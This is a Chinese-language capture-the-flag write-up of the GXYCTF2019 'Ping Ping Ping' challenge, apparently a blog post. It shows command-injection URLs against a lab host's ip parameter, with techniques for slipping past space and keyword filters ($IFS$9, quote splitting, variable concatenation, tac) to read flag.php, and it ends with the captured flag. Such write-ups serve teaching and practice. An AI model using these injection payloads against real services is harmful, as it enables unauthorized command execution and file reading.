[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

打开靶机,可以看到如下图所示:

image-20220512163012225

应该就是让我们传递ip参数

那就传递ip参数

image-20220512163252973

再显示看看有什么文件

image-20220512163641262

试试看能不能直接读取flag文件

http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat flag.php

image-20220512165132485

根据语句,想到应该是过滤了空格,再绕过空格试试
这里用$IFS$9的原因是用$IFS可能出现错误,只用$IFS可能会导致后面的字符消失
image

http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9flag.php

image-20220512165219823

还是不行,过滤了flag,再尝试一下其他的绕过方式(单引号,双引号,转义符)

单引号:

http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9fl''ag.php

image-20220512165254098

双引号:

http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9fl""ag.php

image-20220512165324824

转义符:

http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9fl\ag.php

image-20220512165342701

发现都不行,没什么思路,我们想到之前还有一个index.php文件,我们看看这个文件里面是什么内容

http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9index.php

image-20220512164339857

由代码可知,只要flag四个字母按顺序出现就会被过滤,这时候我们尝试用变量的方法进行绕过

http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;q=ag;w=fl;cat$IFS$9$w$q.php

image-20220512165505267

这时候就可以执行成功,因为在html里会被直接当成注释,所以我们在页面上看不到,要在元素里进行查看

image-20220512164944238

flag就在这里
或者直接tac命令(反向读取文件内容),这样就能把flag直接显示在页面上了
http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;q=ag;w=fl;tac$IFS$9$w$q.php
image

flag{c5d6575a-1166-4079-ac0e-d279541e7457}

posted @ 2022-05-12 16:58  Jinx8823  阅读(41)  评论(0编辑  收藏  举报